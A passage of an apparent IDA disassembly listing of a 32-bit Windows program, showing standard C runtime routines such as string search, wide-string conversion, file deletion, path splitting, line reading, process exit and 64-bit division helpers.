		cmp	[ecx+8], edx
		jnz	short locret_417DBC
		mov	eax, 1

locret_417DBC:				; CODE XREF: sub_417D9A+10j
					; sub_417D9A+1Bj
		retn
sub_417D9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_417DBD	proc near		; CODE XREF: sub_41CEC0+1Ep
					; sub_41CEC0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_432350
		jmp	short loc_417DD0
sub_417DBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_417DC6	proc near		; CODE XREF: sub_417D32+4Fp
					; sub_41F338+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_432350
		mov	ecx, [ebp+8]


loc_417DD0:				; CODE XREF: sub_417DBD+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_417DC6	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417DE0	proc near		; CODE XREF: sub_407B65+5p
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_417DE0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_417E10


loc_417E00:				; CODE XREF: sub_417E10+1Fj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_417E10
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417E10	proc near		; CODE XREF: sub_407BE6+21p
					; sub_408321+32p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00417E00 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_417E16:				; CODE XREF: sub_4173D0+74j
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_417E3D


loc_417E28:				; CODE XREF: sub_417E10+2Bj
		mov	cl, [edx]
		add	edx, 1
		cmp	cl, bl
		jz	short loc_417E00
		test	cl, cl
		jz	short loc_417E86
		test	edx, 3
		jnz	short loc_417E28


loc_417E3D:				; CODE XREF: sub_417E10+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_417E48:				; CODE XREF: sub_417E10+63j
					; sub_417E10+72j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_417E8A
		and	eax, 81010100h
		jz	short loc_417E48
		and	eax, 1010100h
		jnz	short loc_417E84
		and	esi, 80000000h
		jnz	short loc_417E48


loc_417E84:				; CODE XREF: sub_417E10+6Aj
					; sub_417E10+83j ...
		pop	esi
		pop	edi


loc_417E86:				; CODE XREF: sub_417E10+23j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_417E8A:				; CODE XREF: sub_417E10+5Cj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_417EC7
		test	al, al
		jz	short loc_417E84
		cmp	ah, bl
		jz	short loc_417EC0
		test	ah, ah
		jz	short loc_417E84
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_417EB9
		test	al, al
		jz	short loc_417E84
		cmp	ah, bl
		jz	short loc_417EB2
		test	ah, ah
		jz	short loc_417E84
		jmp	short loc_417E48
; ---------------------------------------------------------------------------


loc_417EB2:				; CODE XREF: sub_417E10+9Aj
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_417EB9:				; CODE XREF: sub_417E10+92j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_417EC0:				; CODE XREF: sub_417E10+87j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_417EC7:				; CODE XREF: sub_417E10+7Fj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_417E10	endp


; =============== S U B	R O U T	I N E =======================================



sub_417ECE	proc near		; CODE XREF: sub_4081ED+55p
					; sub_4112AD+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]


loc_417ED2:				; CODE XREF: sub_417ECE+Cj
		mov	cx, [eax]
		inc	eax
		inc	eax
		test	cx, cx
		jnz	short loc_417ED2
		sub	eax, [esp+arg_0]
		sar	eax, 1
		dec	eax
		retn
sub_417ECE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EE4	proc near		; CODE XREF: sub_417FDA+22p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_417FAB
		mov	ebx, [ebp+arg_C]
		cmp	ebx, esi
		jz	loc_417FD5
		mov	edi, [ebp+arg_0]
		cmp	[edi+14h], esi
		jnz	short loc_417F36
		cmp	ebx, esi
		jbe	loc_417FD5


loc_417F15:				; CODE XREF: sub_417EE4+4Bj
		mov	ecx, [ebp+arg_8]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_417FD5
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, ebx
		jb	short loc_417F15
		jmp	loc_417FD5
; ---------------------------------------------------------------------------


loc_417F36:				; CODE XREF: sub_417EE4+27j
		mov	esi, dword_4220D4
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword ptr [edi+4]
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_417FD4
		call	dword_422004	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_417F6E


loc_417F5E:				; CODE XREF: sub_417EE4+C5j
					; sub_417EE4+EEj
		call	sub_41B935
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_417FD5
; ---------------------------------------------------------------------------


loc_417F6E:				; CODE XREF: sub_417EE4+78j
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_4], eax
		mov	eax, ebx


loc_417F76:				; CODE XREF: sub_417EE4+AEj
		mov	cl, [eax]
		dec	[ebp+var_4]
		test	cl, cl
		jz	short loc_417F94
		mov	edx, [edi+48h]
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_417F8D
		inc	eax


loc_417F8D:				; CODE XREF: sub_417EE4+A6j
		inc	eax
		cmp	[ebp+var_4], 0
		jnz	short loc_417F76


loc_417F94:				; CODE XREF: sub_417EE4+99j
		push	[ebp+arg_C]
		sub	eax, ebx
		push	[ebp+arg_4]
		push	eax
		push	ebx
		push	1
		push	dword ptr [edi+4]
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_417FD5
		jmp	short loc_417F5E
; ---------------------------------------------------------------------------


loc_417FAB:				; CODE XREF: sub_417EE4+10j
		mov	eax, [ebp+arg_0]
		cmp	[eax+14h], esi
		jnz	short loc_417FBE
		push	[ebp+arg_8]
		call	sub_419D00
		pop	ecx
		jmp	short loc_417FD5
; ---------------------------------------------------------------------------


loc_417FBE:				; CODE XREF: sub_417EE4+CDj
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_8]
		push	9
		push	dword ptr [eax+4]
		call	dword_4220D4	; MultiByteToWideChar
		cmp	eax, esi
		jz	short loc_417F5E


loc_417FD4:				; CODE XREF: sub_417EE4+69j
		dec	eax


loc_417FD5:				; CODE XREF: sub_417EE4+1Bj
					; sub_417EE4+2Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417EE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_417FDA	proc near		; CODE XREF: sub_4081ED+19p
					; sub_4081ED+49p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41915F
		mov	eax, [eax+64h]
		cmp	eax, off_4323DC
		jz	short loc_417FEF
		call	sub_419F8E


loc_417FEF:				; CODE XREF: sub_417FDA+Ej
		push	[esp+arg_8]
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		push	eax
		call	sub_417EE4
		add	esp, 10h
		retn
sub_417FDA	endp


; =============== S U B	R O U T	I N E =======================================



sub_418005	proc near		; CODE XREF: sub_409806+57D0p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4220E4	; DeleteFileA
		test	eax, eax
		jnz	short loc_41801B
		call	dword_422004	; RtlGetLastWin32Error
		jmp	short loc_41801D
; ---------------------------------------------------------------------------


loc_41801B:				; CODE XREF: sub_418005+Cj
		xor	eax, eax


loc_41801D:				; CODE XREF: sub_418005+14j
		test	eax, eax
		jz	short loc_41802C
		push	eax
		call	sub_41B947
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41802C:				; CODE XREF: sub_418005+1Aj
		xor	eax, eax
		retn
sub_418005	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41802F	proc near		; CODE XREF: sub_409806+4953p
					; sub_40FAD0+F6p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_419D00
		cmp	eax, 1
		pop	ecx
		jb	short loc_41806B
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41806B
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_418067
		push	2
		push	ebx
		push	esi
		call	sub_41D469
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_418067:				; CODE XREF: sub_41802F+26j
		inc	ebx
		inc	ebx
		jmp	short loc_418075
; ---------------------------------------------------------------------------


loc_41806B:				; CODE XREF: sub_41802F+19j
					; sub_41802F+1Fj
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_418075
		and	byte ptr [eax],	0


loc_418075:				; CODE XREF: sub_41802F+3Aj
					; sub_41802F+41j
		and	[ebp+arg_0], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	[ebp+var_8], eax
		mov	esi, 0FFh
		jz	short loc_4180ED


loc_418088:				; CODE XREF: sub_41802F+88j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_481701[edx], 4
		jz	short loc_418099
		inc	eax
		jmp	short loc_4180B3
; ---------------------------------------------------------------------------


loc_418099:				; CODE XREF: sub_41802F+65j
		cmp	cl, 2Fh
		jz	short loc_4180AD
		cmp	cl, 5Ch
		jz	short loc_4180AD
		cmp	cl, 2Eh
		jnz	short loc_4180B3
		mov	[ebp+var_4], eax
		jmp	short loc_4180B3
; ---------------------------------------------------------------------------


loc_4180AD:				; CODE XREF: sub_41802F+6Dj
					; sub_41802F+72j
		lea	ecx, [eax+1]
		mov	[ebp+arg_0], ecx


loc_4180B3:				; CODE XREF: sub_41802F+68j
					; sub_41802F+77j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_418088
		mov	edi, [ebp+arg_0]
		test	edi, edi
		mov	[ebp+var_8], eax
		jz	short loc_4180ED
		cmp	[ebp+arg_8], 0
		jz	short loc_4180E8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_4180D1
		mov	edi, esi


loc_4180D1:				; CODE XREF: sub_41802F+9Ej
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_41D469
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+var_8]


loc_4180E8:				; CODE XREF: sub_41802F+98j
		mov	ebx, [ebp+arg_0]
		jmp	short loc_4180F7
; ---------------------------------------------------------------------------


loc_4180ED:				; CODE XREF: sub_41802F+57j
					; sub_41802F+92j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_4180F7
		and	byte ptr [ecx],	0


loc_4180F7:				; CODE XREF: sub_41802F+BCj
					; sub_41802F+C3j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41814A
		cmp	edi, ebx
		jb	short loc_41814A
		cmp	[ebp+arg_C], 0
		jz	short loc_418127
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_418110
		mov	edi, esi


loc_418110:				; CODE XREF: sub_41802F+DDj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41D469
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+var_8]


loc_418127:				; CODE XREF: sub_41802F+D7j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_418172
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_418137
		mov	esi, eax


loc_418137:				; CODE XREF: sub_41802F+104j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_41D469
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_418172
; ---------------------------------------------------------------------------


loc_41814A:				; CODE XREF: sub_41802F+CDj
					; sub_41802F+D1j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_418168
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_418159
		mov	esi, eax


loc_418159:				; CODE XREF: sub_41802F+126j
		push	esi
		push	ebx
		push	edi
		call	sub_41D469
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_418168:				; CODE XREF: sub_41802F+120j
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_418172
		and	byte ptr [eax],	0


loc_418172:				; CODE XREF: sub_41802F+FDj
					; sub_41802F+119j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41802F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418177	proc near		; CODE XREF: sub_409806+3CFFp
					; sub_409806+3D2Cp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	18h
		push	offset stru_42BE58
		call	__SEH_prolog
		mov	ebx, [ebp+arg_0]
		mov	edi, ebx
		mov	[ebp+var_1C], ebx
		cmp	[ebp+arg_4], 0
		jg	short loc_418195
		xor	eax, eax
		jmp	short loc_4181EC
; ---------------------------------------------------------------------------


loc_418195:				; CODE XREF: sub_418177+18j
		mov	esi, [ebp+arg_8]
		mov	[ebp+var_20], esi
		push	esi
		call	sub_41B092
		pop	ecx
		and	[ebp+ms_exc.disabled], 0


loc_4181A6:				; CODE XREF: sub_418177+64j
		dec	[ebp+arg_4]
		jz	short loc_4181DD
		dec	dword ptr [esi+4]
		js	short loc_4181BA
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_4181C1
; ---------------------------------------------------------------------------


loc_4181BA:				; CODE XREF: sub_418177+37j
		push	esi
		call	sub_41B136
		pop	ecx


loc_4181C1:				; CODE XREF: sub_418177+41j
		mov	[ebp+var_24], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4181D3
		cmp	edi, ebx
		jnz	short loc_4181DD
		and	[ebp+var_1C], 0
		jmp	short loc_4181E0
; ---------------------------------------------------------------------------


loc_4181D3:				; CODE XREF: sub_418177+50j
		mov	[edi], al
		inc	edi
		mov	[ebp+var_28], edi
		cmp	al, 0Ah
		jnz	short loc_4181A6


loc_4181DD:				; CODE XREF: sub_418177+32j
					; sub_418177+54j
		and	byte ptr [edi],	0


loc_4181E0:				; CODE XREF: sub_418177+5Aj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_4181F5
		mov	eax, [ebp+var_1C]


loc_4181EC:				; CODE XREF: sub_418177+1Cj
		call	__SEH_epilog
		retn
sub_418177	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181F2	proc near		; DATA XREF: .text:stru_42BE58o
		mov	esi, [ebp-20h]
sub_4181F2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4181F5	proc near		; CODE XREF: sub_418177+6Dp
		push	esi
		call	sub_41B0E4
		pop	ecx
		retn
sub_4181F5	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418200	proc near		; CODE XREF: sub_409806+8D7p
					; sub_4131EE+285p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_418232
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_418230
		jz	short loc_418232
		sub	ecx, 2


loc_418230:				; CODE XREF: sub_418200+29j
		not	ecx


loc_418232:				; CODE XREF: sub_418200+9j
					; sub_418200+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_418200	endp


; =============== S U B	R O U T	I N E =======================================



sub_418239	proc near		; CODE XREF: sub_4182E0+CBp
					; sub_41860F+1Cp

arg_0		= dword	ptr  4

		push	offset aMscoree_dll ; "mscoree.dll"
		call	dword_4220A4	; GetModuleHandleA
		test	eax, eax
		jz	short loc_41825E
		push	offset aCorexitprocess ; "CorExitProcess"
		push	eax
		call	dword_422084	; GetProcAddress
		test	eax, eax
		jz	short loc_41825E
		push	[esp+arg_0]
		call	eax ; dword_42E030


loc_41825E:				; CODE XREF: sub_418239+Dj
					; sub_418239+1Dj
		push	[esp+arg_0]
		call	dword_422040	; ExitProcess
		int	3		; Trap to Debugger


loc_418269:				; CODE XREF: sub_41D5A4+Cp
		push	8
		call	sub_41A166
		pop	ecx
		retn
sub_418239	endp


; =============== S U B	R O U T	I N E =======================================



sub_418272	proc near		; CODE XREF: sub_41D5D6p
		push	8
		call	sub_41A0D2
		pop	ecx
		retn
sub_418272	endp


; =============== S U B	R O U T	I N E =======================================



sub_41827B	proc near		; CODE XREF: .text:loc_41876Fp
		mov	eax, off_432338
		test	eax, eax
		jz	short loc_418286
		call	eax ; sub_41721D


loc_418286:				; CODE XREF: sub_41827B+7j
		push	esi
		push	edi
		mov	ecx, offset dword_42E00C
		mov	edi, offset dword_42E020
		xor	eax, eax
		cmp	ecx, edi
		mov	esi, ecx
		jnb	short loc_4182B1


loc_41829A:				; CODE XREF: sub_41827B+30j
		test	eax, eax
		jnz	short loc_4182DD
		mov	ecx, [esi]
		test	ecx, ecx
		jz	short loc_4182A6
		call	ecx


loc_4182A6:				; CODE XREF: sub_41827B+27j
		add	esi, 4
		cmp	esi, edi
		jb	short loc_41829A
		test	eax, eax
		jnz	short loc_4182DD


loc_4182B1:				; CODE XREF: sub_41827B+1Dj
		push	offset sub_41D632
		call	sub_41D5DC
		mov	esi, offset dword_42E000
		mov	eax, esi
		mov	edi, offset dword_42E008
		cmp	eax, edi
		pop	ecx
		jnb	short loc_4182DB


loc_4182CC:				; CODE XREF: sub_41827B+5Ej
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4182D4
		call	eax


loc_4182D4:				; CODE XREF: sub_41827B+55j
		add	esi, 4
		cmp	esi, edi
		jb	short loc_4182CC


loc_4182DB:				; CODE XREF: sub_41827B+4Fj
		xor	eax, eax


loc_4182DD:				; CODE XREF: sub_41827B+21j
					; sub_41827B+34j
		pop	edi
		pop	esi
		retn
sub_41827B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4182E0	proc near		; CODE XREF: sub_4183B3+8p
					; sub_4183C4+8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	8
		call	sub_41A166
		xor	esi, esi
		inc	esi
		cmp	dword_4811A4, esi
		pop	ecx
		jnz	short loc_418308
		push	[ebp+arg_0]
		call	dword_4220E0	; GetCurrentProcess
		push	eax
		call	dword_4220E8	; TerminateProcess


loc_418308:				; CODE XREF: sub_4182E0+16j
		cmp	[ebp+arg_4], 0
		mov	al, byte ptr [ebp+arg_8]
		mov	dword_4811A0, esi
		mov	byte_48119C, al
		jnz	short loc_41836E
		mov	ecx, dword_482974
		test	ecx, ecx
		jz	short loc_41834F
		mov	eax, dword_482970
		sub	eax, 4
		cmp	eax, ecx
		jmp	short loc_418348
; ---------------------------------------------------------------------------


loc_418332:				; CODE XREF: sub_4182E0+6Dj
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_41833A
		call	eax


loc_41833A:				; CODE XREF: sub_4182E0+56j
		mov	eax, dword_482970
		sub	eax, 4
		cmp	eax, dword_482974


loc_418348:				; CODE XREF: sub_4182E0+50j
		mov	dword_482970, eax
		jnb	short loc_418332


loc_41834F:				; CODE XREF: sub_4182E0+44j
		mov	eax, offset dword_42E024
		mov	esi, offset dword_42E02C
		cmp	eax, esi
		mov	edi, eax
		jnb	short loc_41836E


loc_41835F:				; CODE XREF: sub_4182E0+8Cj
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_418367
		call	eax


loc_418367:				; CODE XREF: sub_4182E0+83j
		add	edi, 4
		cmp	edi, esi
		jb	short loc_41835F


loc_41836E:				; CODE XREF: sub_4182E0+3Aj
					; sub_4182E0+7Dj
		mov	eax, offset dword_42E030
		mov	esi, offset dword_42E038
		cmp	eax, esi
		mov	edi, eax
		jnb	short loc_41838D


loc_41837E:				; CODE XREF: sub_4182E0+ABj
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_418386
		call	eax


loc_418386:				; CODE XREF: sub_4182E0+A2j
		add	edi, 4
		cmp	edi, esi
		jb	short loc_41837E


loc_41838D:				; CODE XREF: sub_4182E0+9Cj
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_41839E
		push	8
		call	sub_41A0D2
		jmp	short loc_4183B0
; ---------------------------------------------------------------------------


loc_41839E:				; CODE XREF: sub_4182E0+B3j
		push	[ebp+arg_0]
		mov	dword_4811A4, 1
		call	sub_418239


loc_4183B0:				; CODE XREF: sub_4182E0+BCj
		pop	ecx
		pop	ebp
		retn
sub_4182E0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4183B3	proc near		; CODE XREF: .text:004187BFp

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_4182E0
		add	esp, 0Ch
		retn
sub_4183B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4183C4	proc near		; CODE XREF: sub_4185EA+1Cp
					; .text:004187ECp ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_4182E0
		add	esp, 0Ch
		retn
sub_4183C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4183D5	proc near		; CODE XREF: .text:loc_4187C4p
		push	1
		push	0
		push	0
		call	sub_4182E0
		add	esp, 0Ch
		retn
sub_4183D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4183E4	proc near		; CODE XREF: .text:loc_4187F1p
		push	1
		push	1
		push	0
		call	sub_4182E0
		add	esp, 0Ch
		retn
sub_4183E4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418400	proc near		; CODE XREF: sub_412A38+3Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_418421
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_418471
; ---------------------------------------------------------------------------


loc_418421:				; CODE XREF: sub_418400+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41842F:				; CODE XREF: sub_418400+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41842F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41845A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41845A
		jb	short loc_418462
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_418462


loc_41845A:				; CODE XREF: sub_418400+4Aj
					; sub_418400+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_418462:				; CODE XREF: sub_418400+52j
					; sub_418400+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_418471:				; CODE XREF: sub_418400+1Fj
		pop	ebx
		retn	10h
sub_418400	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418480	proc near		; CODE XREF: sub_412A38+24p
					; sub_417740+29p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_4184A2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4184E3
; ---------------------------------------------------------------------------


loc_4184A2:				; CODE XREF: sub_418480+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_4184B0:				; CODE XREF: sub_418480+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4184B0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4184DE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_4184DE
		jb	short loc_4184DF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_4184DF


loc_4184DE:				; CODE XREF: sub_418480+4Ej
					; sub_418480+54j
		dec	esi


loc_4184DF:				; CODE XREF: sub_418480+56j
					; sub_418480+5Cj
		xor	edx, edx
		mov	eax, esi


loc_4184E3:				; CODE XREF: sub_418480+20j
		pop	esi
		pop	ebx
		retn	10h
sub_418480	endp


; =============== S U B	R O U T	I N E =======================================



sub_4184E8	proc near		; CODE XREF: sub_418577+22p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		push	edi
		jz	short loc_418566
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_418507
		cmp	edi, 1
		jz	short loc_418507
		cmp	edi, 2
		jnz	short loc_418566


loc_418507:				; CODE XREF: sub_4184E8+13j
					; sub_4184E8+18j
		and	eax, 0FFFFFFEFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41851F
		push	esi
		call	sub_41D795
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_41851F:				; CODE XREF: sub_4184E8+28j
		push	esi
		call	sub_41AE6C
		mov	eax, [esi+0Ch]
		test	al, al
		pop	ecx
		jns	short loc_418535
		and	eax, 0FFFFFFFCh
		mov	[esi+0Ch], eax
		jmp	short loc_418549
; ---------------------------------------------------------------------------


loc_418535:				; CODE XREF: sub_4184E8+43j
		test	al, 1
		jz	short loc_418549
		test	al, 8
		jz	short loc_418549
		test	ah, 4
		jnz	short loc_418549
		mov	dword ptr [esi+18h], 200h


loc_418549:				; CODE XREF: sub_4184E8+4Bj
					; sub_4184E8+4Fj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_41D6EA
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_418574
; ---------------------------------------------------------------------------


loc_418566:				; CODE XREF: sub_4184E8+Bj
					; sub_4184E8+1Dj
		call	sub_41B935
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh


loc_418574:				; CODE XREF: sub_4184E8+7Cj
		pop	edi
		pop	esi
		retn
